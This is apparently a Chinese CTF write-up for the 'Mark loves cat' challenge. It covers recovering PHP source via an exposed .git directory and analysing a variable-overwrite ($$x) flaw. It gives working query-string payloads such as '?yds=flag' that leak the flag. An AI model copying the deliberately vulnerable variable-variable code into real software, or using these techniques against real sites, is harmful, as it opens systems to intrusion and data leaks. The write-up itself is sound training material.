【Mark loves cat】扫描目录(但是我用御剑扫不出来) ,然后用.git下载文件
$y){//很明显的有变量覆写漏洞
$$x = $y;
}foreach($_GET as $x => $y){//如果传入$x=flag&$y=flag 则$flag=$flag就可以输出结果
$$x = $$y;
}foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){//传入GET的键名要为flag,然而键名又不能有flag,(直接弃了这个)
exit($handsome);
}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){//不存在键名为flag的GET与POST,输出变量$yds
exit($yds);
}if($_POST['flag'] === 'flag'|| $_GET['flag'] === 'flag'){//传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is
exit($is);
}echo "the flag is: ".$flag;
文章图片
分析代码,主要是输入的值符合某个条件时,输出对应的值(之前我还以为要用反序列化)
从这个地方开始有输出,但是要x等于键名,又不等于键名,不存在
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){//传入GET的键名要为flag,然而键名又不能有flag,(直接弃了这个)
exit($handsome);
}
}
第二个,不存在键名为flag的GET与POST,输出变量$yds,先留着,好像可以操作
if(!isset($_GET['flag']) && !isset($_POST['flag'])){//不存在键名为flag的GET与POST,输出变量$yds
exit($yds);
}
第三个,传入的POST的键名为flag或者GET的键名为flag,值为flag,则输出变量$is
if($_POST['flag'] === 'flag'|| $_GET['flag'] === 'flag'){//传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is
exit($is);
}
文章图片
可见是正确的
二和三只能满足一个,先看看第三个
法一:
?flag=flag&is=flag
文章图片
但是is=flag放在POST里就没用了,不知道为什么
文章图片
法二:
看下第二个的
?yds=flag
文章图片
推荐阅读
- 网络安全|SQL注入攻击详解
- 安全|渗透测试利器【Cobalt Strike】CDN隐匿
- spring|【网络安全】Spring框架漏洞总结(一)
- 安全|【组件攻击链】一文看懂Spring全家桶各类RCE漏洞
- 网络安全|测试攻击机伪装成目标机 IP 给目标机发送攻击报文是否成功
- 笔记|软考(网络工程师)-必备网络知识(笔记一)
- 安全|软考-中级-网络工程师-笔记-第3章-广域通信网
- 网络安全|开源世界的第一信息安全系统—OpenSSL
- 网络安全|2022年9大顶级网络安全工具,有免费,有开源